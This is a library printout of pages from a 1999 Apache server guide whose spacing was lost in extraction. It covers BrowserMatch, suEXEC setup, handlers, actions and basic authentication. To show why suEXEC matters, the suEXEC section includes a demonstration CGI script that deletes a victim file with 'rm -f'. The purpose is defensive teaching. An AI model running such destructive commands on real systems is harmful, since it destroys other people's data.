AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page92
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Remote_User
Theclient'sauthenticatedusername,ifavailable
Request_Method
GET,POST,etc.
Request_URI
ThepartoftheURLfollowingtheschemeandhost
TheNoCaseversionworksthesameexceptthatregularexpressionmatchingisevaluatedwithoutregardtolettercase.
BrowserMatchandBrowserMatchNoCase
BrowserMatchregexenv1[=value1]env2[=value2]
BrowserMatchNoCaseregexenv1[=value1]env2[=value2]
regexisaregularexpressionmatchedagainsttheclient'sUserAgentheader,andenv1,env2,areenvironmentvariablestobesetiftheregular
expressionmatches.Theenvironmentvariablesaresettovalue1,value2,etc.,ifpresent.
So,forinstance,wemightsay:
BrowserMatch^Mozilla/[23]tables=3java
Thesymbol meansstartfromthebeginningoftheheaderandmatchthestringMozilla/followedbyeithera2or3.Ifthisissuccessful,thenApachecreates,
and,ifrequired,specifiesvaluesfor,thegivenlistofenvironmentvariables.Thesevariablesareinventedbytheauthorofthescript,andinthiscaseare:
tables=3
java
InthisCGIscript,theclientcantestthesevariablesandtaketheappropriateaction.
BrowserMatchNoCaseissimplyacaseblindversionofBrowserMatch.Thatis,itdoesn'tcarewhetherlettersareupperorlowercase.mOZILLA
worksaswellasMoZiLlA.
NotethatthereisnodifferencebetweenBrowserMatchandSetEnvIfUserAgent.BrowserMatchexistsforbackwardcompatibility.
InternalUseofEnvironmentVariables
EnvironmentvariablescanalsobeusedtocontrolsomeaspectsofthebehaviorofApache.Notethatbecausethesearejustenvironmentvariables,nothingchecks
thatyouhavespeltthemcorrectly,sobeverycarefulwhenusingthem.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page93
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
nokeepalive
ThisdisablesKeepAlive(seeChapter3,TowardaRealWebSite).SomeversionsofNetscapeclaimedtosupportKeepAlive,butactuallyhadabugthat
meanttheserverappearedtohang(infact,Netscapewasattemptingtoreusetheexistingconnection,eventhoughtheserverhadclosedit).Thedirective:
BrowserMatch"Mozilla/2"nokeepalive
disablesKeepAliveforthosebuggyversions.
forceresponse1.0
ForcesApachetorespondwithHTTP/1.0toanHTTP/1.0client,insteadofwithHTTP/1.1asiscalledforbytheHTTP/1.1spec.Thisisrequiredtoworkaround
certainbuggyclientsthatdon'trecognizeHTTP/1.1responses.Variousclientshavethisproblem.Thecurrentrecommendedsettingsareasfollows:
BrowserMatch"RealPlayer4\.0"forceresponse1.0
BrowserMatch"Java/1\.0"forceresponse1.0
BrowserMatch"JDK/1\.0"forceresponse1.0
downgrade1.0
ForcesApachetodowngradetoHTTP/1.0eventhoughtheclientisHTTP/1.1(orhigher).MicrosoftInternetExplorer4.0b2earnedthedubiousdistinctionofbeing
theonlyknownclienttorequireallthreeofthesesettings:
BrowserMatch"MSIE4\.0b2"nokeepalivedowngrade1.0forceresponse1.0
suEXEConUnix
ThevulnerabilityofserversrunningscriptsisacontinualsourceofconcerntotheApacheGroup.UnixsystemsprovideaspecialmethodofrunningCGIsthatgives
muchbettersecurityviaawrapper.Awrapperisaprogramthatwrapsaroundanotherprograminordertochangethewayitoperates.Usuallythisisdoneby
changingitsenvironmentinsomewayinthiscase,bymakingsureitrunsasifithadbeeninvokedbyanappropriateuser.Thebasicsecurityproblemisthatany
programorscriptrunbyApachehasthesamepermissionsasApacheitself.Ofcourse,thesepermissionsarenotthoseofthesuperuser,but,evenso,Apachetends
tohavepermissionspowerfulenoughtoimpairthemoraldevelopmentofacleverhackerifhecouldgethishandsonthem.Also,inenvironmentswherethereare
manyuserswhocanwritescriptsindependentlyofeachother,itisagoodideatoinsulatethemfromeachother'sbugs,asfarasispossible.
And,incidentally,forearlyversionsofMicrosoftInternetExplorer,whichunwiselypretendedtobeNetscapeNavigator.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page94
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
suEXECreducestheriskbychangingthepermissionsgiventoaprogramorscriptlaunchedbyApache.InordertouseityoushouldunderstandtheUnixconceptsof
userandgroupexecutepermissionsonfilesanddirectories.suEXECisexecutedwheneveranHTTPrequestismadeforascriptorprogramthathasownershipor
groupmembershippermissionsdifferentfromthoseofApacheitself,whichwillnormallybethoseappropriatetowebuserofwebgroup.
ThedocumentationsaysthatsuEXECisquitedeliberatelycomplicatedsothat"itwillonlybeinstalledbyusersdeterminedtouseit."However,wefounditnomore
difficultthanApacheitselftoinstall,soyoushouldnotbedeterredfromusingwhatmayprovetobeaveryvaluabledefence.Ifyouareinterested,pleaseconsultthe
documentationandbeguidedbyit.Whatwehavewritteninthissectionisintendedonlytohelpandencourage,nottoreplacethewordsofwisdom.See
http://www2.idiscover.co.uk/apache/docs/suexec.html.
ToinstallsuEXECtorunwiththedemonstrationsitesite.suexec,gotothesupportsubdirectorybelowthelocationofyourApachesourcecode.Editsuexec.hto
makethefollowingchangestosuityourinstallation.Whatwedid,tosuitourenvironment,isshownmarkedby/ CHANGED /:
/
HTTPD_USERDefineastheusernameunderwhichApachenormally
runs.Thisistheonlyuserallowedtoexecute
thisprogram.
/
#ifndefHTTPD_USER
#defineHTTPD_USER"webuser"/ CHANGED /
#endif
/
UID_MINDefinethisasthelowestUIDallowedtobeatargetuser
forsuEXEC.Formostsystems,500or100iscommon.
/
#ifndefUID_MIN
#defineUID_MIN100
#endif
Thepointhereisthatmanysystemshave"privileged"usersbelowsomenumber(e.g.root,daemon,lp,andsoon),sowecanusethissettingtoavoidanypossibility
ofrunningascriptasoneoftheseusers:
/
GID_MINDefinethisasthelowestGIDallowedtobeatargetgroup
forsuEXEC.Formostsystems,100iscommon.
/
#ifndefGID_MIN
#defineGID_MIN100//seeUIDabove
#endif
Similarly,theremaybeprivilegedgroups:
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page95
/
USERDIR_SUFFIXDefinetobethesubdirectoryunderusers'
homedirectorieswheresuEXECaccessshould
beallowed.Allexecutablesunderthisdirectory
willbeexecutablebysuEXECastheuserso
theyshouldbe"safe"programs.Ifyouare
usinga"simple"UserDirdirective(ie.one
withouta" "init)thisshouldbesetto
thesamevalue.suEXECwillnotworkproperly
incaseswheretheUserDirdirectivepointsto
alocationthatisnotthesameastheuser's
homedirectoryasreferencedinthepasswdfile.
IfyouhaveVirtualHostswithadifferent
UserDirforeach,youwillneedtodefinethemto
allresideinoneparentdirectorythennamethat
parentdirectoryhere.IFTHISISNOTDEFINED
PROPERLY,~USERDIRCGIREQUESTSWILLNOTWORK!
SeethesuEXECdocumentationformoredetailed
information.
/
#ifndefUSERDIR_SUFFIX
#defineUSERDIR_SUFFIX"/usr/www/cgibin"/ CHANGED /
#endif
/
LOG_EXECDefinethisasaComponentifyouwantallsuEXEC
transactionsanderrorsloggedforauditingand
debuggingpurposes.
/
#ifndefLOG_EXEC
#defineLOG_EXEC"/usr/www/suexec.log"/ CHANGED /
#endif
/
DOC_ROOTDefineastheDocumentRootsetforApache.This
willbetheonlyhierarchy(asidefromUserDirs)
thatcanbeusedforsuEXECbehavior.
/
#ifndefDOC_ROOT
#defineDOC_ROOT"/usr/www/site.suexec/htdocs"/ CHANGED /
#endif
/
SAFE_PATHDefineasafePATHenvironmenttopasstoCGIexecutables.
/
#ifndefSAFE_PATH
#defineSAFE_PATH"/usr/local/bin:/usr/bin:/bin"
#endif
CompilethefiletomakesuEXECexecutablebytyping:
makesuexec
andcopyittoasensiblelocation(thiswillverylikelybedifferentonyoursitereplace/usr/local/binwithwhateverisappropriate)alongsideApacheitselfwith:
cpsuexec/usr/local/bin
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page96
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Youthenhavetosetitspermissionsproperlybymakingyourselfthesuperuser(orpersuadingtheactual,humansuperusertodoitforyouifyouarenotallowedto)
andtyping:
chownroot/usr/local/bin/suexec
chmod4711/usr/local/bin/suexec
ThefirstlinegivessuEXECtheownerrootthesecondsetsthesetuseridexecutionbitforfilemodes.
YouthenhavetotellApachewheretofindthesuEXECexecutablebyeditingsrc/include/httpd.h.Welookedfor"suEXEC"andchangeditthus:
/ ThepathtothesuExecwrappercanbeoverriddeninConfiguration /
#ifndefSUEXEC_BIN
#defineSUEXEC_BIN"/usr/local/bin/suexec"/ CHANGED /
#endif
Thislinewasoriginally:
#defineSUEXEC_BINHTTPD_ROOT"/sbin/suexec"
NoticethatthemacroHTTPD_ROOThasbeenremoved.Itiseasytoleaveitinbymistakewedidthefirsttimearoundbutitprepends/usr/local/apache(or
whateveryoumayhavechangeditto)tothepathyoutypein,whichmaynotbewhatyouwanttohappen.Havingdonethis,youremakeApachebygettingintothe
/srcdirectoryandtyping:
make
cphttpd/usr/local/bin
orwhereveryouwanttokeeptheexecutable.WhenyoustartApache,nothingappearstobedifferent,butamessageappears in/logs/error_log:
suEXECmechanismenabled(wrapper:/usr/local/bin/suexec)
WethinkthatsomethingasimportantassuEXECshouldhaveaclearlyvisibleindicationonthecommandline,andthatanentryinalogfileisnotimmediateenough.
ToturnsuEXECoff,yousimplyremovetheexecutable,or,morecautiously,renameitto,say,suexec.not.Apachethencan'tfinditandcarriesonwithoutcomment.
OncesuEXECisrunning,itappliesmanyteststoanyCGIorserversideinclude(SSI)scriptinvokedbyApache.Ifanyofthetestsfail,anotewillappearinthe
suexec.logfilethatyouspecified(asthemacroLOG_EXECinsuexecx.h)whenyoucompiledsuEXEC.Acomprehensivelistappearsinthedocumentationand
alsoin
Inv1.3.1thismessagedidn'tappearunlessyouincludedthelineLogLeveldebuginyourConfigfile.Inlaterversionsitwillappearautomatically.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page97
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
thesource.ManyofthesetestscanonlyfailifthereisabuginApache,suEXEC,ortheoperatingsystem,orifsomeoneisattemptingtomisusesuEXEC.Welist
herethenotesthatyouarelikelytoencounterinnormaloperation,sinceyoushouldnevercomeacrosstheothers.Ifyoudo,suspecttheworst:
Doesthetargetprogramnamehavea"/"or".."initspath?Theseareunsafeandnotallowed.
Doestheuserwhoownsthetargetscriptexistonthesystem?SinceuserIDscanbedeletedwithoutdeletingfilesownedbythem,andsomeversionsoftar,cpio,
andthelikecancreatefileswithsillyuserIDs(ifrunbyroot),thisisasensiblechecktomake.
Doesthegroupthisuserbelongstoexist?AswithuserIDs,itispossibletocreatefileswithnonexistentgroups.
Istheusernotthesuperuser?suEXECwon'tletrootexecutescriptsonline.
IstheuserIDabovetheminimumIDnumberspecifiedinsuexec.h?ManysystemsreserveuserIDsbelowsomenumberforcertainpowerfulusersnotas
powerfulasroot,butmorepowerfulthanmeremortalsforexample,thelpddaemon,backupoperators,andsoforth.ThisallowsyoutopreventtheiruseforCGIs.
Istheuser'sgroupnotthesuperuser'sgroup?suEXECwon'tletroot'sgroupexecutescriptsonline.
IsthegroupIDabovetheminimumnumberspecified?Again,thisistopreventthemisuseofsystemgroups.
Isthisdirectorybelowtheserver'sdocumentrootor,ifforaUserDir,isthedirectorybelowtheuser'sdocumentroot?
Isthisdirectorynotwritablebyanyoneelse?Wedon'twanttoopenthedoortoallcomers.
Doesthetargetscriptexist?Ifnot,itcanhardlyberun.
Isitonlywritablebytheowner?
Isthetargetprogramnotsetuidorsetgid?Wedon'twantvisitorsplayingsillyjokeswithpermissions.
Isthetargetusertheownerofthescript?
Ifallthesehurdlesarepassed,thentheprogramexecutes.Insettingupyoursystem,youhavetobearthesehurdlesinmind.
NotethatoncesuEXEChasdecideditwillexecuteyourscript,itthenmakesitevensaferbycleaningtheenvironmentthatis,deletinganyenvironmentvariablesnot
onitslistofsafeonesandreplacingthePATHwiththepathdefinedinSAFE_PATHinsuexec.h.Thelistofsafeenvironmentvariablescanbefoundin
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page98
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
/src/support/suexec.c,inthevariablesafe_env_lst.ThislistincludesallthestandardvariablespassedtoCGIscripts.Ofcourse,thismeansthatanyspecial
purposevariablesyousetwithSetEnvorPassEnvdirectiveswillnotmakeittoyourCGIscriptsunlessyouaddthemtosuexec.c.
ADemonstrationofsuEXEC
Sofar,forthesakeofsimplicity,wehavebeenrunningeverythingasroot,towhichallthingsarepossible.TodemonstratesuEXECweneedtocreateahumblebut
illintentioneduser,Peter,whowillwriteandrunascriptcalledbadcgi.cgiintendingtodoharmtothosearound.badcgi.cgisimplydeletes/usr/victim/victim1asa
demonstrationofitspowerbutitcoulddomanyworsethings.Thisfilebelongstowebuserandwebgroup.Normally,Peter,whoisnotwebuseranddoesnot
belongtowebgroup,wouldnotbeallowedtodoanythingtoit,butifhegetsatitthroughApache(undefendedbysuEXEC)hecandowhathelikes.
Petercreateshimselfalittlewebsiteinhishomedirectory,/home/peter,whichcontainsthedirectories:
conf
logs
public_html
andtheusualfilego:
httpdd/home/peter
TheConfigfileis:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
ServerAdminsales@butterthlies.com
UserDirpublic_html
AddHandlercgiscriptcgi
Mostofthisisrelevantinthepresentsituation.Byspecifyingwebuserandwebgroup,wegiveanyprogramexecutedbyApachethatuserandgroup.Inourguiseof
Peter,wearegoingtoaskthebrowsertologontohttpd://www.butterthlies.com/~peterthatis,tothehomedirectoryofPeteronthecomputerwhoseport
answerstowww.butterthlies.com.Onceinthathomedirectory,wearereferredtotheUserDirpublic_html,whichactsprettymuchthesameas
DocumentRootinthewebsiteswehavebeenplayingwith.
PeterputsaninnocentlookingButterthliesform,form_summer.html,intopublic_html.But,itconcealsaviper!InsteadofhavingACTION=mycgi.cgi,as
innocentformsdo,thisonecallsbadcgi.cgi,whichlookslikethis:
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page99
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
#!/bin/sh
echo"contenttype:text/plain"
echo
rmf/usr/victim/victim1
Thisisascriptofunprecedentedvillainy,whoselastlinewillutterlydestroyandundotheinnocentfilevictim1.RememberingthatanyCGIscriptexecutedbyApache
hasonlytheuserandgrouppermissionsspecifiedintheConfigfilethatis,webuserandwebgroup,wegoandmakethetargetfilethesame,byloggingonasroot
andtyping:
chownwebuser:webgroup/usr/victim
chownwebuser:webgroup/usr/victim/victim1
Now,ifwelogonasPeterandexecutebadcgi.cgi,weareroundlyrebuffed:
./badcgi.cgi
rm:/usr/victim/victim1:Permissiondenied
ThisisasitshouldbeUnixsecuritymeasuresareworking.However,ifwedothesamethingunderthecloakofApache,byloggingonasrootandexecuting:
/home/peter/go
andthen,onthebrowser,accessinghttp://www.butterthlies.com/~peter,openingform_summer.html,andclickingtheSubmitbuttonatthebottomoftheform,we
seethatthebrowserisaccessingwww.butterthlies.com/~peter/badcgi.cgiandwegetthewarningmessage:
Documentcontainsnodata
Thisstatementisregrettablytruebecausebadcgi.cginowhasthepermissionsofwebuserandwebgroupitcanexecuteinthedirectory/usr/victim,andithas
removedtheunfortunatevictim1ininsolentsilence.
SomuchforwhataninhouseBadGuycoulddobeforesuEXECcamealong.Ifwenowreplacevictim1,stopApache,renamesuEXEC.nottosuEXEC,restart
Apache(checkingthatthe/logs/error_logfileshowsthatsuEXECstartedup),andclickSubmitonthebrowseragain,wegetthefollowingcomfortingmessage:
InternalServerError
Theserverencounteredaninternalerrorormisconfigurationandwasunable
tocompleteyourrequest.
Pleasecontacttheserveradministrator,sales@butterthlies.comandinform
themofthetimetheerroroccurred,andanything
youmighthavedonethatmayhavecausedtheerror.
Theerrorlogcontainsthefollowing:
[TueSep1513:42:531998][error]malformedheaderfromscript.Bad
header=suexecrunning:/home/peter/public_html/badcgi.cgi
Ha,ha!
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page100
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Handlers
AhandlerisapieceofcodebuiltintoApachethatperformscertainactionswhenafilewithaparticularMIMEorhandlertypeiscalled.Forexample,afilewiththe
handlertypecgiscriptneedstobeexecutedasaCGIscript.Thisisillustratedin/site.filter.
Apachehasanumberofhandlersbuiltin,andotherscanbeaddedwiththeActionscommand(seethenextsection).Thebuiltinhandlersareasfollows:
sendasis
Sendsthefileasis,withHTTPheaders(mod_asis).
cgiscript
Executesthefile(mod_cgi).NotethatOptionsExecCGImustalsobeset.
imapfile
Usesthefileasanimagemap(mod_imap).
serverinfo
Getstheserver'sconfiguration(mod_info).
serverstatus
Getstheserver'scurrentstatus(mod_status).
serverparsed
Parsesserversideincludes(mod_include).NotethatOptionsIncludesmustalsobeset.
typemap
Paresthefileasatypemapfileforcontentnegotiation(mod_negotiation).
isapiisa(Win32only)
CausesISADLLsplacedinthedocumentrootdirectorytobeloadedwhentheirURLs
areaccessed.OptionsExecCGImustbeactiveinthedirectorythatcontainsthe
ISA.ChecktheApachedocumentation,sincethisfeatureisunderdevelopment
(mod_isapi).
Thecorrespondingdirectivesfollow.
AddHandler
AddHandlerhandlernameextensionlextension2
Serverconfig,virtualhost,directory,.htaccess
AddHandlerwakesupanexistinghandlerandmapstheComponent(s)extensioni1,etc.,tohandlername.YoumightspecifythefollowinginyourConfig
file:
AddHandlercgiscriptcgibzq
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page101
Fromthenon,anyfilewiththeextension.cgior.bzqwouldbetreatedasanexecutableCGIscript.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SetHandler
SetHandlerhandlername
Directory,.htaccess
ThisdoesthesamethingasAddHandler,butappliesthetransformationspecifiedbyhandlernametoallfilesinthe<Directory>,<Location>,or
<Files>sectioninwhichitisplaced,orinthe.htaccessdirectory.Forinstance,inChapter11,What'sGoingOn?,wewrite:
<Location/status>
<Limitget>
orderdeny,allow
allowfrom192.168.123.1
denyfromall
</Limit>
SetHandlerserverstatus
</Location>
Actions
Arelatednotiontothatofhandlersisactions.AnactionpassesspecifiedfilesthroughanamedCGIscriptbeforetheyareservedup.
Action
Actiontypecgi_script
Serverconfig,virtualhost,directory,.htaccess
Thecgi_scriptisappliedtoanyfileofMIMEorhandlertypematchingtypewheneveritisrequested.Thismechanismcanbeusedinanumberofways.For
instance,itcanbehandytoputcertainfilesthroughafilterbeforetheyareservedupontheWeb.Asasimpleexample,supposewewantedtokeepallour.htmlfiles
incompressedformattosavespace,andtouncompressthemontheflyastheyareretrieved.Apachehappilydoesthis.Wemakesite.filteracopyofsite.first,
exceptthatthehttpd.conffileisasfollows:
Userwebuser
Groupwebgroup
ServerNamelocalhost
DocumentRoot/usr/www/site.filter/htdocs
ScriptAlias/cgibin/usr/www/cgibin
AccessConfig/dev/null
ResourceConfig/dev/null
AddHandlerpeterzippedhtmlzhtml
Actionpeterzippedhtml/cgibin/unziphtml
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page102
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
<Directory/usr/www/site.filter/htdocs>
DirectoryIndexindex.zhtml
</Directory>
Thepointstonoticearethat:
AddHandlersetsupanewhandlerwithanameweinvented,peterzippedhtml,andassociatesafileextensionwithit:zhtml(noticetheabsenceofthe
period).
Actionsetsupafilter.Forinstance:
Actionpeterzippedhtml/cgibin/unziphtml
means''applytheCGIscriptunziphtmltoanythingwiththehandlernamepeterzippedhtml."
TheCGIscript/cgibin/unziphtmlcontainsthefollowing:
#!/bin/sh
echo"contenttype:text/html"
echo
gzipS.zhtmldc$PATH_TRANSLATED
Thisappliesgzipwiththefollowingflags:
SSetsthefileextensionas.zhtml
dUncompressesthefile
cOutputstheresultstothestandardoutputsotheygetsenttotheclient,ratherthanuncompressinginplace
gzipisappliedtothefilecontainedintheenvironmentvariablePATH_TRANSLATED.
Finally,wehavetoturnour.htmlsinto.zhtmls.In//htdocswehavecompressedandrenamed:
catalog_summer.htmltocatalog_summer.zhtml
catalog_autumn.htmltocatalog_autumn.zhtml
Itwouldbesimplertoleavethemasgzipdoes(withtheextension.html.gz),butafileextensionthatmapstoaMIMEtypecannothavea"."init.
Wealsohaveindex.html,whichwewanttoconvert,butwehavetorememberthatitmustcalluptherenamedcatalogswith.zhtmlextensions.Oncethathasbeen
attendedto,wecangzipitandrenameittoindex.zhtml.
WelearnedthatApacheautomaticallyservesupindex.htmlifitisfoundinadirectory.Butthiswon'thappennow,becausewehaveindex.zhtml.Togetitto
Atleast,notinastockApache.Ofcourse,youcouldwriteamoduletodoit.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page103
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
beproducedastheindex,weneedtheDirectoryIndexdirective(seeChapter7,Indexing),andithastobeappliedtoaspecifieddirectory:
<Directory/usr/www/site.filter/htdocs>
DirectoryIndexindex.zhtml
</Directory>
Onceallthatisdone,and./goisrun,thepagelooksjustasitdidbefore.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page104
5
Authentication
ThevolumeofbusinessButterthlies,Inc.,isdoingisstupendous,andnaturallyourcompetitorsareanxioustolookatsensitiveinformationsuchasthediscountswe
giveoursalespeople.Wehavetosealtheirsiteofffromthevulgargazebyauthenticatingthosewhologontoit.
AuthenticationProtocol
Authenticationissimpleinprinciple.TheclientsendsitsnameandpasswordtoApache.Apachelooksupitsfileofnamesandencryptedpasswordstoseewhether
theclientisentitledtoaccess.Thewebmastercanstoreanumberofclientsinalisteitherasasimpletextfileorasadatabaseandtherebycontrolaccessperson
byperson.
Itisalsopossibletogroupanumberofpeopleintonamedgroupsandtogiveordenyaccesstothesegroupsasawhole.So,throughoutthischapter,billandbenare
inthegroupdirectors,anddaphneandsoniaareinthegroupcleaners.Thewebmastercanrequireusersoandsoorrequiregroupsuchandsuch.Ifyou
havetodealwithlargenumbersofpeople,itisobviouslyeasiertogrouptheminthisway.
Eachusername/passwordpairisvalidforaparticularrealm,namedwhenthepasswordsarecreated.ThebrowserasksforaURLtheserversendsback
"AuthenticationRequired"(code401)andtherealm.Ifthebrowseralreadyhasausername/passwordforthatrealm,itsendstherequestagainwiththe
username/password.Ifnot,itpromptstheuser,usuallyincludingtherealm'snameintheprompt,andsendsthat.
Ofcourse,allthisisworryinglyinsecuresincethepasswordissentunencryptedovertheWebandanymalignobserversimplyhastowatchthetraffictogetthe
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page105
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
passwordwhichisasgoodinhishandsasinthelegitimateclient's.Digestauthenticationimprovesonthisbyusingachallenge/handshakeprotocoltoavoidrevealing
theactualpassword.Well,itwould,ifanybrowserssupportedthetechnique,whichatthemomenttheydon't.However,weincludeinformationconcerningthis
procedurelaterinthischapter,inthehopethatamiraclemayoccurduringthelifetimeofthisedition.
site.authent
Examplesarefoundinsite.authent.TheConfigfilelookslikethis:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
NameVirtualHost192.168.123.2
<VirtualHost"target="_BLANK">www.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.authent/htdocs/customers
ServerNamewww.butterthlies.com
ErrorLog/usr/www/site.authent/logs/error_log
TransferLog/usr/www/site.authent/logs/customers/access_log
ScriptAlias/cgibin/usr/www/cgibin
</VirtualHost>
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.authent/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.authent/logs/error_log
TransferLog/usr/www/site.authent/logs/salesmen/access_log
ScriptAlias/cgibin/usr/www/cgibin
<Directory/usr/www/site.authent/htdocs/salesmen>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/group
#AuthDBMUserFile/usr/www/ok_dbm/sales
#AuthDBMGroupFile/usr/www/ok_dbm/groups
requirevaliduser
#requireuserdaphnebill
#requiregroupcleaners
#requiregroupdirectors
</Directory>
<Directory/usr/www/cgibin>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
#AuthDBMUserFile/usr/www/ok_dhm/sales
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page106
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
#AuthDBMGroupFile/usr/www/ok_dbm/groups
requirevaliduser
</Directory>
</VirtualHost>
Whatisgoingonhere?Readon.
AuthenticationDirectives
FromApachev1.3on,Componentsarerelativetotheserverrootunlesstheyareabsolute.AComponentistakenasabsoluteifitstartswith"/"or,onWin32,ifit
startswith"drive:/".Itseemssensibletoustowritetheminabsoluteformtopreventmisunderstandings.Thedirectivesareasfollows.
AuthType
AuthTypetype
Directory,.htaccess
AuthTypespecifiesthetypeofauthorizationcontrol.Untilrecently,Basicwastheonlypossibletype,butApache1.1introducedDigest,whichusesanMD5
digestandasharedsecret.Asfarasweknow,nobrowseryetsupportsit.
IfthedirectiveAuthTypeisused,wemustalsouseAuthName,AuthGroupFile,andAuthUserFile.
AuthName
AuthNameauthrealm
Directory,.htaccess
AuthNamegivesthenameoftherealminwhichtheusers'namesandpasswordsarevalid.Ifthenameoftherealmincludesspaces,youwillneedtosurroundit
withquotationmarks:
AuthName"JackandJill"
AuthGroupFile
AuthGroupFileComponent
Directory,.htaccess
AuthGroupFilehasnothingtodowiththeGroupwebgroupdirectiveatthetopoftheConfigfile.Itgivesthenameofanotherfilethatcontainsgroup
namesandtheirmembers:
cleaners:daphnesonia
directors:billben
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page107
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Weputthisinto/ok_users/groupsandsetAuthGroupFiletomatch.TheAuthGroupFiledirectivehasnoeffectunlesstherequiredirectiveis
suitablyset.
AuthUserFile
AuthUserFileComponent
AuthUserFileisafileofusemamesandtheirencryptedpasswords.Thereisquitealottothisseethesection"Passwords"laterinthischapter.
Limit
<Limitmethod1method2>
</Limit>
The<Limitmethod>directivedefinesablockaccordingtotheHTTPmethodoftheincomingrequest.Generally,itshouldnotbeusedunlessyoureallyneedit
